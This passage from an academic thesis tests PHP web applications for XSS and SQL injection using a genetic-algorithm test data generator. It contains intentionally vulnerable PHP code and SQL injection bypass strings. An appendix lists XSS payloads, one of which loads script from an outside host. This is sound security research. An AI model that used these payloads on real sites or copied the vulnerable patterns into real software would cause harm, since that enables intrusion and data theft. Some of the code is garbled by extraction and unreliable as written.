In this section, we discuss our proposed fitness function for testing multiple paths at a 
time. The idea behind considering multiple paths at a time is based on the observations 
that in trying to satisfy a single path, other paths might be satisfied as a by-product. Based 
on this observation, trying to satisfy multiple paths at a time is expected to be more 
efficient, we could cover more potential vulnerable paths with less number of execution. 
This will save more resources compared to the needed resources to execute the GA based 
generator many times to cover just one path at a time. 
The same component of the single path fitness function and the same equation are used 
here.  The difference is that we use rewarding with the multiple paths fitness function. 
After we calculate the fitness value for the individuals in the population for one of the 
paths we try to test, the rewarding process takes place, the main idea behind rewarding is 
to give more chance to the individuals to be selected in the next iteration. 
The idea of implementing rewarding is adopted from Hermadi work‎[18], which is 
trying to solve multiple paths too. The value of rewarding (R) is calculated for the best 
individual as follows:  
R=1- (Fitness value of the best individual / ∑ fitness values of all individuals). 
By this way we give more chance to the best individuals for a specific path to be selected 
in the next population. 
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5 CHAPTER  
EXPERIMENTS AND RESULTS 
5.1 Introduction  
In this chapter, we discuss the implementation details of our test data generator. We also 
present the results of the experiments we conducted to validate the approach. Section ‎5.2 
presents the environment description of the experiments. Section ‎5.3 discusses single 
path experiments and  multiple paths experiments are presented in Section ‎5.4. The 
analysis of the results is discussed in Section ‎5.5. 
5.2 Experiments Environment Description 
In our experiments, we use Web applications developed using PHP which is a sound 
popular scripting language ‎[6]; this selection led us to use Apache Web server which is 
capable of hosting PHP ‎[5]. 
During our testing process, the Web application should be executed in real environment.  
Accordingly, we developed our GA-based data generator using PHP to make it 
compatible and running with the application under test in the same environment. 
We conducted five different experiments using our GA-based test data generator.  The 
experiments are classified into two main categories: single path, and multiple paths 
experiments.  In each category, we considered different Web applications as case studies.  
In the single path experiment category, we conducted two experiments: a simple Login 
script, and Newspaper Display script.  Each experiment is comprised of sets of runs 
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equals to the number of potential vulnerable paths reported from the static analysis. The 
experiments in this category consider different input types: strings and numeric. 
In the multiple paths experiments, the same case studies were used to compare 
performance.  Moreover, another case study was considered, the News Preview script 
from PhpNuke‎[47]version 7.2‎[47].  PhpNuke is an open source content management 
system implemented in PHP, with a persistent back-end on MYSQL. The average and 
standard deviation was reported for each experiment. 
5.3 Single Path Experiments  
5.3.1 Simple login Script  
In this experiment, we test for XSS vulnerabilities in a PHP Web form that asks the user 
to enter his first name and his last name. The SUT validates user input to ensure it is a 
valid input and it does not contain XSS patterns or empty string like what normally 
happened in Web forms, despite the programmer checks for security vulnerabilities in 
this code but it‟s still vulnerable for XSS attacks, as will be shown below. 
Figure 10 shows the HTML form which the user uses to pass the inputs to the PHP SUT. 
As we can see in Figure 11, the code precisely checks if the supplied inputs contain a 
string that starts with “<script” which is mandatory for any XSS pattern to execute. 
However, an XSS pattern of the form “<BODY BACKGROUND = "javascript:alert('XSS');">” 
would be a successful security attack through path “6-7-8-9-12-13-14-15-16”. 
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<html><head><title>First page</title></head> 
<body> 
<form method="GET" action="Check.php"> 
<p>First Name <input type="text" name="firstname" 
size="20"></p> 
<p>Last Name <input type="text" name="lastname" 
size="20"></p> 
<p><input type="submit" value="Submit" 
name="B1"><input type="reset" value="Reset" 
name="B2"></p> 
</form> 
</body> 
</html> 
 
Figure 10: The Web Form for Experiment 5.3.1. 
 
<? php     // Script Name : Check.php 
// The Script gets the First name and the last name from the Web form. 
// The script validate the first and last names and print them. 
$a = $ _GET[ ”f i r s tname ” ] ; 
 $b = $_ GET[ ”Lname ” ] ; 
6     if (substr($a, 0, strlen("<SCRIPT"))=== "<SCRIPT" ) {  
7     $a=htmlspecialchars($a ) } 
8     if (isset($b)){ 
9     $goonb = true } 
10   else { 
11    $goonb = false;} 
12    if ($goonb) { 
13    $b=htmlspecialchars ( $b ) } 
          14     echo $a ; // sensitive s ink 
15    if ( $goonb ) { 
16   echo $b ; // sensitive s ink 
} 
?> 
 
Figure 11: The PHP SUT of the Single Path Experiment 5.3.1. 
58 
 
   
 
Following our process, we convert the PHP script into a tree to define the different paths 
of the program; Figure 12 shows the script tree.  The Node# reflects the line number in 
Figure 11; T is for true and F is for false. 
 
Vulnerable Paths 
 
 
1:      6-7-8-9-12-13-14-15 
2:      6-7-8-9-13-14-15 
3:      6-7-8-10-12-13-14-15 
4:      6-8-10-12-13-14-15 
5:      6-7-8-9-12-14-15 
6:      6-8-9-12-14-15 
7:      6-7-8-10-12-14-15 
8:      6-8-10-12-14-15 
9:      6-7-8-9-12-13-14-15-16 
10:    6-7-8-9-13-14-15-16 
11:    6-7-8-10-12-13-14-15-16 
12:    6-8-10-12-13-14-15-16 
13:    6-7-8-9-12-14-15-16 
14:    6-8-9-12-14-15-16 
15:    6-7-8-10-12-14-15-16 
16:    6-8-10-12-14-15-16 
 
      16  Paths 
 
Figure 12: The PHP Script Tree and Different Possible Paths of Experiment 5.3.1. 
 
First step is to instrument the PHP code in a way where we can get the execution path 
for any input. Each line is automatically instrumented using the “__LINE__”, which is a 
PHP language constant that shows if the line of code is executed or not during the 
program execution. 
The instrumented PHP SUT is then converted to be a PHP function, where the SUT 
inputs represent the function parameter to allow our GA-based test data generator to 
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execute it with XSS patterns from XSS database as inputs, for the current experiment. 
The function signature looks like:   
Function function-name (Prameter#1 ,  Prameter#2) 
Our tool copies the instrumented SUT and makes it as one of its own function‟s; so it 
can execute using XSS patterns as inputs easily. 
Our test generator takes the SUT in a form of normal PHP function after 
instrumentation, the first population is selected randomly from our XSS database, and 
GA runs for many rounds.  In each round, we select survivors using roulette wheel. 
During each round, the best fit individuals are saved with their fitness values. We used 
trial and error to select suitable values for the GA parameters.  Best parameters are shown 
in the table below. 
GA Parameters 
 
Parameter  value 
Population Size 35 
# Survivors 3 
Maximum # generations 20 
# inputs within one individual 2 
Type of inputs Strings 
Crossover rate (Probability) 0.5 
Mutation rate (Probability) 0.5 
 
Table 7: Genetic Algorithm Parameters for Single Path Experiment 5.3.1. 
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Results 
As we mentioned before, this is a single path at time experiment. It means that we run 
the experiment to solve one path and repeat again for the rest of the vulnerable paths.  
Our SUT contains 16 vulnerable paths, so we repeated the experiment 16 times, one for 
each path.  The results of each 4 paths are grouped together in one figure for readability, 
Figure 13 to Figure 16. The X axis represents rounds or GA generation and Y axis 
represents the best fitness value of the population. The experiment was repeated at least 5 
times for each path.  We report here the best results for each path. The deviation in results 
from one run to another was not that considered. 
 
Figure 13 : Best Fitness for Experiment 5.3.1 Paths from 1-4 on 20 Generations. 
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Figure 14: Best Fitness for Experiment 5.3.1 Paths from 5-8 on 20 Generations. 
 
 
 
 
Figure 15:  Best Fitness for Experiment 5.3.1 Paths from 9-12 on 20 Generations. 
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Figure 16: Best Fitness for Experiment 5.3.1 Paths from 13-16 on 20 Generations. 
 
As we can see from the above figures, GA converged for some paths and did not 
converge for others. Our approach succeeded with 7 paths with zero fitness value from 
the whole suspected venerable paths. For some other paths, GA did not succeed to 
generate valid XSS patterns to force the program to travers these paths. The reason is that 
these paths involve sanitization statements like line 7 and 13 in Figure 11. When these 
statements are executed; even if the input contains XSS patterns, the pattern will not be 
executed, and hence, no attack will take place (consider paths 1, 2, 3, and 10 in Figure 12 
as an example). . It is worth noting that the reason we classified this path as venerable is 
that our classification depends on both input and sensitive sink that are involved in the 
path.  
Unfortunately, we do not find other relevant approaches to compare the performance of 
our approach to; except for the common straight forward random test data generation.  
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Accordingly, we run another experiment where we just select XSS patterns randomly 
from our database, and then we used them to cover our potential vulnerable paths.  
Figure 17 shows the fitness values along with the different generation for all 16 
potential vulnerable paths; we used the same number of generations as in the GA 
experiment.  
 
Figure 17: Random Selection for Experiment 5.3.1. 
   
In comparing results in Figure 13 to Figure 16 with random selection results in Figure 
17, clearly GA is much better because using random selection we succeeded to cover two 
paths while GA succeeded to cover seven paths. Taking into consideration our population 
size which is 30 and we run both experiment for 20 rounds, which concludes around 600 
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individuals. Using our approach, we succeeded to cover 7 paths and only 2 paths were 
covered with random selection.  
5.3.2 Newspaper Display Script 
The PHP SUT in this experiment implements a simple newspaper display page that 
allows users to view topics for specific writer, since there are many writers in the 
newspaper; the articles are stored in a MySQL database.  To view an article either by its 
address or by its details, users of the program fill an HTML form that communicates the 
inputs to the server via a URL, e.g., 
http://www.localhost/?name=ali&disply_mode =1 
Input parameters passed inside the URL are available in the $GET associative array. In 
this example URL, the input has two key-value pairs: name=ali and disply_mode =1. 
This program can operate in two modes: posting the writer articles title or posting the 
content of article for the writer from the MYSQL database which stores the articles and 
their titles. After that the PHP script gets the display string. Then according to the display 
mode and writer name from the database, it prints the writer name and the database 
content as in lines 21 and 22 in  
Figure 18. 
<?php 
1    $Mode = $_GET["disply_mode"] ; 
2    $Name = $_GET["Name"] ; 
3    if ($Mode==1) 
4      { 
 5       $disply_String= select_DBcontent(0); 
 6      } 
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7    else 
8    if ($Mode==2) 
9     { 
10     $disply_String= select_DBcontent(1); 
11    } 
12   else 
13    if ($Mode>=3) 
14    { 
15       $disply_String= “No content for this writer”; 
16     } 
17     if (substr($name, 0, strlen("<script>"))=== "<script>")  
18    {  
19       $name=htmlspecialchars($name ) ; 
20    } 
21      echo"The Journalist Name :".$name; 
22     echo $disply_String; 
?> 
 
Figure 18: The PHP SUT of the Single Path Experiment 5.3.2. 
 
In this experiment the SUT needs two different type of inputs, one of them is string and 
the other is numeric. The SUT conations 16 suspected vulnerable paths. 
The SUT contains XSS vulnerabilities. Consider for example a case where the name of 
the writer is supplied by a user as any XSS pattern contains “<script>”; this string will be 
printed into the browser and can lead to XSS attack. As another example, the display 
string could contain a XSS pattern coming from the system database due to the lack of 
validation during the insertion step, this is a stored XSS attack; the attack could be 
exploited easily in the SUT above. 
Now using static analysis technique we can define the different vulnerable paths of the 
PHP SUT, Figure 19  shows the script tree and the vulnerable paths. 
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Vulnerable Paths 
 
 
1:        1-2-3-5-8-10-13-15-17-18-21-22 
2:        1-2-3-7-8-10-13-15-17-18-21-22 
3:        1-2-3-7-8-12-13-15-17-18-21-22 
4:        1-2-3-7-8-12-13-15-17-18-21-22 
 
5:        1-2-3-5-8-12-13-17-18-21-22 
6:        1-2-3-5-8-10-13-17-18-21-22 
7:        1-2-3-7-8-10-13-17-18-21-22 
8:        1-2-3-7-8-12-13-17-18-21-22 
 
9:        1-2-3-5-8-12-13-15-17-18-21-22 
10:      1-2-3-5-8-10-13-15-17-18-21-22 
11:      1-2-3-7-8-10-13-15-17-18-21-22 
12:      1-2-3-7-8-12-13-15-17-18-21-22 
 
13:      1-2-3-5-8-12-13-17-18-21-22 
14:      1-2-3-5-8-10-13-17-18-21-22 
15:      1-2-3-7-8-10-13-17-18-21-22 
16:      1-2-3-7-8-12-13-17-18-21-22 
 
 
Figure 19: The PHP Script Tree and Different Possible Paths of Experiment 5.3.2. 
 
GA Parameters 
 
Parameter  value 
Population Size 30 
# Survivors 3 
Maximum #generations 20 
# inputs within one individual 2 
Type of inputs Strings and numeric  
Crossover rate (Probability) 0.5 
Mutation rate (Probability) 0.5 
 
Table 8: Genetic Algorithm Parameters for Single Path Experiment 5.3.2. 
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Results 
 
In Figure 20 to Figure 23 the X axis represents rounds or GA generation and Y axis 
represents the best fitness value of the population. For more readability, each figure 
shows only 4 paths. The best individual with lowest fitness value calculated using our 
fitness function was showed in each generation as in Figure 20 to Figure 23.  We 
repeated the experiment more than 5 times for each vulnerable path and the best results 
are reported for each path.  Results of the different experiments were very much 
comparable. 
 
 
Figure 20: Best Fitness for Experiment 5.3.2 Paths from 1-4 on 20 Generations. 
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Figure 21: Best Fitness for Experiment 5.3.2 Paths from 5-8 on 20 Generations. 
 
 
 
Figure 22: Best Fitness for Experiment 5.3.2 Paths from 9-12 on 20 Generations. 
0
5
10
15
20
25
30
35
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
Fi
tn
e
ss
 
Generations 
Path5
Path6
Path7
Path8
0
5
10
15
20
25
30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
Fi
tn
e
ss
 
Generations 
Path9
Path10
Path11
Path12
69 
 
   
 
 
 
Figure 23: Best Fitness for Experiment 5.3.2 Paths from 13-16 on 20 Generations. 
 
As we did in the previous experiment, random selection experiment was executed. The 
same fitness function was calculated and the results are shown in Figure 24. 
Figure 24 shows the fitness values along with the different generation for all 16 
potential vulnerable paths; we used the same number of generations as in the GA 
experiment.  
In comparing GA with random approach, GA succeeded to cover 8 paths from all 
potential vulnerable paths.  GA was not successful to generate valid XSS patterns for 
other paths; the reason is that they involve sanitization statements like line 19 in Figure 
18. When these statements are executed; even if the input contains XSS patterns the 
pattern will not be executed, and hence no attack will take place (as an example consider 
paths 3, 10, 13, and 10 in Figure 19).  Using random selection method we succeeded with 
one path, we conclude that our approach is much better than the random approach. 
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It is important to mention that the population size is 30, and we run the experiments for 
20 rounds, which conclude around 600 individuals. Using our approach we succeeded to 
cover 8 paths with this number, and only 1 path with random selection wear covered. 
 
Figure 24: Random Selection for Experiment 5.3.2. 
 
5.4 Multiple Paths Experiments 
In this set of experiments we aim at utilizing GA to generate inputs to multiple paths at a 
time. When we try to satisfy a single path, other paths might be satisfied as a by-product. 
Using this approach we can cover more potential vulnerable paths with overall less 
number of generations and individuals. This is expected to save resources.  
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We assess the performance of our proposed fitness function using three measures: 
generation-to-generation (G2G) achievement, the best fitness, and cluster convergence 
(Phi) ‎[18]. 
Generation-to-generation coverage: It is used to assess the strength and efficiency of our 
proposed fitness function. This consists of a pair contains the generation number and its 
number of satisfied target paths in a GA run. 
Best fitness in each generation: The best fitness graph is meant to analyze the best 
candidate solution behavior over generations. In our case, it is minimization; it will be the 
candidate solution with the smallest value.  
Cluster convergence coefficient (also known as Phi‎[18]): It reflects the speed of 
convergence of the population generated from generation to generation. The value of this 
metric is calculated as the best fitness divided by the average fitness in our case which is 
minimization. 
Using above mentioned measures will help us in comparing the different candidates. 
More details about these types of measures can be found in ‎[18]. 
5.4.1 Simple Login Script  
This experiment uses the same program presented on Section ‎5.4.1, the same static 
analysis in Figure 12 is used; the difference here is that the 16 paths are targeted in one 
run. When we build up our population using GA, each individual feed to the SUT and the 
path now is compared with the whole vulnerable paths. The best individual will be 
rewarding per each path using this equation: 
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R=1- (Fitness value of the best individual / ∑ fitness values of all individuals) 
This way gives more chance to the best individuals for each path to be selected in the 
next population. 
GA Parameters 
 
Parameter  value 
Population Size 20 
# Survivors 3 
Maximum # generations 40 
# inputs within one individual 2 
Type of inputs Strings  
Crossover rate (Probability) 0.5 
Mutation rate (Probability) 0.5 
 
Table 9: Genetic Algorithm Parameters for Multiple Path Experiment 5.4.1. 
 
 
Results 
In Figure 25, the X axis represents rounds or GA generation and the Y axis represents the 
best fitness value of the population. Figure 25 shows 10 different runs of the experiment 
using same parameters of Table 9. In Figure 26 the average and standard deviation for 
best fitness in each round are presented.  
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Figure 25: Best Fitness for Experiment 5.4.1 on 40 Generations. 
 
 
 
Figure 26 : Best Fitness Average and Standard Deviation for Experiment 5.4.1 for 10 
Runs. 
As it is shown below in Figure 27, all (6.6 out of 7) paths on the average were found 
within not more than 24 generations; for 40 generation experiment.  
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Figure 27:G2G achievement of Experiment 5.4.1 on the average of 10 Runs. 
 
 
 
Figure 28: Phi Graph of Experiment 5.4.1 for 7
th
 Run. 
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Figure 29: Best Fitness Graph of Experiment 5.4.1 7
th
 Run. 
 
Figure 30: Average Phi Graph over 10 Runs of Experiment 5.4.1. 
 
By observing Figure 28 which represents the Phi graph for the 7th run (randomly selected 
as sample), and the corresponding  best fitness graph for the same run in Figure 29, we 
will be able to see that the speed of convergence of the fitness function from generation 
to generation is consistent with the best fit graph. In Figure 28 the line is not fully 
fluctuated or stable, which means there is a balance between exploration and exploitation. 
Figure 31 presents all Phi graphs for ten runs of the experiment using the same 
parameters. The average Phi graph over ten runs is presented in Figure 30. 
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Figure 31: All Phis‟ over 10 Runs of Experiment 5.4.1. 
To compare our approach results with random selection of inputs from our XSS database, 
we developed a program that randomly select inputs and feed them to the SUT. The same 
fitness function was calculated and experiments were repeated for the same number of 
rounds as in the GA experiment. The result is presented in Figure 32.  
 
 
Figure 32: Random Selection for Experiment 5.4.1. 
 
0
0.5
1
1.5
2
2.5
3
1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39
P
h
i 
Generations 
1
2
3
4
5
6
7
8
9
10
0
20
40
60
80
100
1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39
Fi
tn
e
ss
 
Generations 
77 
 
   
 
5.4.2 Newspaper Display Script 
This experiment uses the same program presented on section 5.4.2, the same static 
analysis in Figure 19 is used; the difference here is to try to cover the 16 paths in the 
same run.  
GA Parameters 
 
Parameter  value 
Population Size 30 
# Survivors 3 
Maximum # rounds 70 
# inputs within one individual 2 
Type of inputs Strings and numeric  
Crossover rate (Probability) 0.5 
Mutation rate (Probability) 0.5 
 
Table 10: Genetic Algorithm Parameters for Multiple Path Experiment 5.4.2. 
 
Results 
 
In Figure 33, the X axis represents rounds or GA generation and Y axis represents the 
best fitness value of the population.  Different runs of the experiment using same 
parameters as in the Table 10 for ten times are shown in Figure 33.  
In Figure 34 the average and standard deviation for best fitness in each round are 
presented.  
78 
 
   
 
 
 
Figure 33: Best Fitness for Experiment 5.4.2 on 70 Generations. 
 
 
 
Figure 34: Best Fitness Average and Standard Deviation for Experiment 5.4.2 for 10 
Times. 
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As it is shown in Figure 35, all (7.7 out of 8) paths on the average were found within 58 
generations or less; for 70 generation experiment.  
 
 
 
Figure 35: G2G achievement of Experiment 5.4.2 on the average of 10 Runs. 
 
 
 
Figure 36: Phi Graph of Experiment 5.4.2 for 9
th
 Run. 
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Figure 37: Best Fitness Graph of Experiment 5.4.2 for 9
th
 Run. 
 
 
Figure 38: Average Phi Graph over 10 Runs of Experiment 5.4.2. 
 
Figure 36 represents Phi graph for the 7th run (randomly selected as sample). The 
corresponding best fitness graph for the same run is presented in Figure 37. Comparing 
both graphs, we can see that the speed of convergence of the fitness function from 
generation to generation matched the best fit graph. In Figure 36 the line tends to be more 
fluctuated, which means there is more exploration of the search space. Figure 39 presents 
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all Phi graphs for ten runs of the experiment using the same parameters, the average Phi 
graph over ten runs is presented in Figure 38. 
 
 
Figure 39: All Phis‟ over 10 Runs of Experiment 5.4.2. 
 
To compare our approach results with random selection of inputs from our XSS 
database, we developed a program that randomly select inputs and feed them to the SUT, 
using the same fitness function and repeating the experiment for the same number of 
rounds as in the GA experiment, the results are presented in  
Figure 40. As we can see, for 70 rounds (X axis), the best fitness did not converge; it 
fluctuates up and down in random manner, the Y axis represents the fitness value. 
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Figure 40 : Random Selection for Experiment 5.4.2. 
 
5.4.3 PHPNuke News Module  
In this experiment we selected a PHP script from the well-known content management 
system PHPNuke‎[47]. The selected script is the preview story script, from the news 
module of the PhpNuke version 7.2.. It contains 1,046 PHP source files for a total of 
157,000 lines of code‎[47]. In this experiment, our SUT is one of the PHPNuke modules 
“Preview News Module” which receives 8 string inputs, and selects some data according 
to these inputs and previews the selected data in the web browser. The inputs are: name, 
address, subject, story, story text, topic, language, and post type. Some of the parameters 
are printed directly and some of them are used to select specific data from the news 
database, so both reflected and stored XSS can be found here. 
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The script in this experiment is 120 lines of code and there are so many statements for 
HTML formatting like color and HTML table tags. In the static analysis tree in Figure 41 
we consider the PHP statements that affect the function of the system, example selecting 
from database, printing value to the Web browser, and all control statements. 
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Vulnerable Paths 
 
 
1:      
 6-7-8-910-11-12-13-14-15-16-17-33-
34-35-36-38-54-55-57-60-66-69 
 
 
2:   
6-7-8-91-12-13-14-15-16-17-33-34-35-
36-38-54-55-57-60-66-69 
 
 
3:         
6-7-8-9-10-11-12-15-16- 17-33-34-35-
36-38-54-55-57-60-66-69 
 
 
4:       
 6-7-8-91-12-15-16-17-33-34-35-36-38-
54-55-57-60-66-69 
 
 
Figure 41: The PHP Script Tree and Different Possible Paths of Experiment 5.4.3. 
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GA Parameters 
 
Parameter  value 
Population Size 45 
# Survivors 5 
Maximum # generations 80 
# inputs within one individual 2 
Type of inputs Strings  
Crossover rate (Probability) 0.5 
Mutation rate (Probability) 0.5 
 
Table 11: Genetic Algorithm Parameters for Multiple Path Experiment 5.4.3. 
Results 
 
Figure 42 presents the best fitness for experiment 5.4.3 on 80 generations. The X axis 
represents rounds or GA generation and Y axis represents the best fitness value of the 
population. The 5 different lines in Figure 42 represent different execution of the 
experiment using parameters as in the Table 11 for five times. In Figure 43 the average 
and standard deviation for best fitness in each round are presented.  
 
Figure 42: Best Fitness for Experiment 5.4.3 on 80 Generations. 
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Figure 43: Best Fitness Average and Standard Deviation for Experiment 5.4.3 for 5 
Times. 
 
As it is shown in Figure 44, 3.7 out of 4 paths on the average were found within 79 
generations; for 80 generation experiment.  
 
 
 
Figure 44: G2G achievement of Experiment 5.4.3 on the average of 5 Runs. 
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Figure 45: Phi Graph of Experiment 5.4.3 for 5
th
 Run. 
 
 
Figure 46: Best Fitness Graph of Experiment 5.4.3 for 5th Run. 
 
Figure 45 presents Phi graph for the 5th run (randomly selected as sample), and Figure 46 
presents the corresponding best fitness graph for the same run. We will can see from the 
two graphs that the speed of convergence of the fitness function from generation to 
generation increases smoothly and then falls down a gin after the 46 generation and then 
a gin smoothly increases. The same behavior can be noticed in the best fit graph in Figure 
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42. In Figure 45 the line clearly fluctuates, which means there is more exploration of the 
search space. Figure 48 presents all Phi graphs for ten runs of the experiment using the 
same parameters. The average Phi graph over ten runs is presented in Figure 47. 
 
 
Figure 47: Average Phi Graph over 5 Runs of Experiment 5.4.3. 
 
 
 
Figure 48: All Phis‟ over 5 Runs of Experiment 5.4.3. 
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As in the previous experiments, to compare our approach results with random selection 
of inputs from our XSS database, the same fitness function was calculated and the 
experiment was repeated for 80 times. The result is presented in Figure 49. 
 
 
Figure 49: Random Selection for Experiment 5.4.3. 
 
As we can see, for 80 rounds the GA did not converge at all which implies that our 
approach was much better than random method. Using our proposed method we 
succeeded to generate test data for all the potential vulnerable paths as in Figure 42. 
 
5.5 Results Analysis 
The results of the single path experiments showed that our approach was very satisfactory 
and much better than the random selection. It is worth noting here that we compared our 
generator only to a random generator as we did not find other approaches in the literature 
which we can compare to. We could not compare to the work of Avancini and Ceccato‎[6] 
because they used PHPNuke 6.9 and the oldest one we can get is PHPNuke 7.2> In 
Experiment ‎5.4.3 we selected the preview story script from the news module to test it for 
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XSS vulnerabilities using our GA based generator, and the results were so promising, we 
succeeded to cover all the potential vulnerable paths.  
In the first experiment, the actual vulnerable paths were 7, and our tool succeeded to 
generate good test cases that exercised them all, while the random experiment failed to 
cover more than two paths in the same number of rounds. Second experiment also led to 
the same conclusion because our approach succeeded to cover all the actual eight 
vulnerable paths while the random experiment covered only one path out of 16, using 
same number of generations. Table 12 summarized the single path experiments results.  
Experiment # Potential  
vulnerable 
paths 
# Actual 
vulnerable 
paths 
# Paths solved with 
GA generator 
# Paths solved 
with random 
method 
Simple login 
script  
16 7 7 2 
Newspaper 
display script 
16 8 8 1 
 
Table 12: Single Path Experiments Results Summary. 
By extending our work to cover multiple paths at a time, results were promising as 
presented in the multiple paths experiment results previously. The same SUTs were used 
again to test them in multiple paths at a time manner.  By looking to the average and 
slandered deviation Figure 26, Figure 34, and Figure 43, we can conclude the consistency 
of GA in covering the vulnerable paths. 
Based on our experiments, the SUTs with numeric input were covered using less 
number of generations than the others which need string input. In the Newspaper Display 
experiment using multiple paths method the number of generation was 70 and for the 
multiple paths simple login script experiment number of generation was 40.  It is worth 
noting here that in the single path experiment both SUTs had the same maximum 
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generation number per path, and we repeated the experiment for 16 times for both singe 
login, and newspaper display experiments to cover all potential vulnerable paths.  This 
consumes more resources and time than the experiments of multiple paths at a time. 
It‟s important to mention that using the rewarding concept with the multiple paths 
experiment had great effect on convergence. GA using the fitness function without the 
rewarding component did not converge.  After we introduced the rewarding concept, the 
results were much better as we can see in Sections ‎5.4.1, ‎5.4.2, and ‎5.4.3. The idea 
behind rewarding is to give more chance to the best individuals to be selected in the next 
population.  
Comparing with the work of Avancini and Ceccato, the most relevant work in the 
literature‎[6], our approach is considered superior due to different reasons: 
 We used a real XSS pattern while Avancini and Ceccato used normal character 
strings as input to the SUT.  
 Our fitness function is more comprehensive than theirs. They only consider 
how many branches were covered while we are considering many other 
components (Section ‎4.3.4.5). 
 They test for the reflected XSS only, while we consider the stored and DOM-
based as well. 
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6 CHAPTER 
CONCLUTION 
6.1 Introduction  
In this chapter we present a summary of our contributions to the Web application security 
testing community. In particular, testing for XSS vulnerabilities, reflected, stored, and 
DOM-based. It also provides a few suggestions for future research directions.  
6.2 Summary 
In this work, we present a set of attributes to serve as criteria for classifying and 
comparing these approaches and provide such aid to practitioners as which approach fits 
which situation. The set of attributes is also meant to guide researchers interested in 
proposing new Web application security testing approaches.   
We also presented an extensive survey and evaluation of the state-of-the-art Web 
security testing approaches along with a framework composed of a set of criteria for 
classifying and comparing such approaches.  
The thesis presents a formulation of the Web application security testing problem as an 
optimization search problem and suggests a corresponding fitness function to be 
optimized.  We used GA to solve the resultant problem. Our GA-based test data generator 
is capable of generating multiple test data to cover multiple vulnerable paths at one run.  
It can also be used to cover a single path a time too. 
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Reported experimental results show that our test data generator is promising; due to 
that fact that it allows covering multiple target paths with less number of individuals to be 
tested.  
Our GA-based generator, along with the XSS patterns database, are packaged in a 
software tool that takes PHP script and generates test data to cover potential vulnerable 
paths.  It is worth noting here though that the tool needs the set of paths to be covered.  
We use Pixy‎[48] a static analysis tool, to define such potential vulnerable paths. 
Moreover, our tool was developed using PHP, and that makes it easy to use in same 
environment of PHP Web Applications. 
Our approach is easy to extend to test for other web security vulnerabilities. For 
example let us take the SQL Injection Vulnerabilities, in which SQL commands are 
injected into the actual query in order to affect the execution of predefined SQL 
commands. This type of vulnerabilities can lead to different problems: insert, delete, or 
modify the data in the database, access sensitive data in the database, execute commands 
to control the operating system‎[32]. 
Consider a web application with this SQL query: 
 
SELECT * FROM Students WHERE name = ‟ xxxx‟ AND password = ‟yyyyy‟ 
 
Let us assume that the name and password supplied by the user of the application, if 
the input coming from the user is any string to the name (even empty string), and the 
password is: ‟‟ or ‟1‟=‟1‟, The WHERE clause of this query is always evaluated to be 
true, and thus an attacker can bypass the authentication, regardless of the data inputted in 
the name field. 
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To use our approach to test for SQL Injection, we have to redefine what the sensitive is 
in this case, for XSS, sensitive sink is defined as the statement that prints a taint variable 
to the web browser, for PHP that will be the echo and the print functions. For SQL 
Injection the sensitive sink will be the statement that executes the SQL query, and that 
will be mysql_query function. Now the vulnerable paths can be reported using our new 
definition of the sensitive sink. Since the SQL Injection vulnerabilities depend on 
modifying part the SQL query, so the part that user supplied in the case of the SQL 
Injection is not real software code, like XSS vulnerabilities, so no need for a database as 
in the XSS testing. GA can generate different combinations of characters and numbers 
and special characters like: “,”, etc. 
The above is just a general explanation of how we can use our approach to test for SQL 
Injection vulnerabilities. As a proof of concept we conducted a simple experiment to test 
for SQL Injection. Simple Web form for user name and password was used as SUT as 
shown in Figure 50; the PHP code selects user data from a database table according to the 
user name and password. This code is vulnerable to SQL Injection attacks, if the WHERE 
clause of the SQL query in Figure 51 line 4 evaluated to be true ; the code will select all 
users data and show them, and hence is the problem. 
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Figure 50: SQL Injection Experiment Web Form. 
  
<? php  
   1   $a = $ _GET[ ”uname ” ] ;    $b = $_ GET[ ”pass” ] ; 
   2    $connection =mysql_connect("localhost","root",""); 
   3   $db = @mysql_select_db(maillist, $connection) or die(mysql_error()); 
   4   $sql = "select name,pass from  users where name=$a And password=$b; 
   5   $result = @mysql_query($sql,$connection) or die(mysql_error()); 
  6     if (isset($a)&& isset($b)){ 
  7     $print = true } 
  8   else { 
  9            header('Location: http://localhost/sqlinj/form.htmal');} 
 10    if ($print) { 
 11      while ($row = mysql_fetch_array($result)) { 
  12        echo "User data : $row[0] ||$row[1]||$row[2]\n";  // sensitive s ink 
  13         } 
?> 
 
Figure 51: SQL Injection Experiment Code. 
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Here we are just testing for one vulnerable path; which is: 1-2-3-4-5-6-7-10-11-12-13. 
If the user fill the form using string like “1 OR 1=1” that will evaluate the where clause 
as true; and this will lead to access all users data in the database table. 
The fitness function corresponds to the amount of target branches that are executed 
when the application is run with the inputs from the current individual. The solution is 
found when an individual is able to traverse 100% of the target branches. The more an 
individual is near to this condition, the higher value of fitness function it will have. 
GA Parameters 
 
Parameter  value 
Population Size 70 
# Survivors 20 
Maximum # generations 1000 
# inputs within one individual 2 
Type of inputs String 
Crossover rate (Probability) 0.5 
Mutation rate (Probability) 0.2 
 
Table 13: Genetic Algorithm Parameters for SQL Injection Experiment. 
Results 
 
In Figure 52, the X axis represents rounds or GA generation and Y axis represents the 
best fitness value of the population. The 5 different lines in Figure 52 represent different 
executions of the experiment using parameters as in Table 13 for five times. In Figure 53 
the average and standard deviation for best fitness in each round are presented.  
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Figure 52: Best Fitness for SQL Injection Experiment on 40 Generations. 
 
 
 
Figure 53: Best Fitness Average and Standard Deviation for SQL Injection Experiment 
for 5 Times. 
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6.3 Limitations and Future Work 
The following are limitations of the research: 
 This work didn‟t cover all the top ten security vulnerabilities defined by the Open 
Web Application Security Project‎[60]; we just considered the XSS vulnerabilities. 
 Small size PHP programs were tested using our approach as a proof of concept.  
More experiments should be conducted considering larger size and more 
sophisticated programs. 
 Our work considers only PHP using Java Script Web applications. Other 
platforms such as ASP.net and JSP should be considered as well. 
Future work will address the above limitations. More analysis and improvement to the 
fitness function will be considered as well. 
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APPENDIX A 
SAMPLE XSS PATTERNS 
<SCRIPT>alert('XSS')</SCRIPT>  
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
<BASE HREF="javascript:alert('XSS');//">  
<BGSOUND SRC="javascript:alert('XSS');">  
<BODY BACKGROUND="javascript:alert('XSS');">  
<BODY ONLOAD=alert('XSS')>  
<DIV STYLE="background-image: url(javascript:alert('XSS'))">  
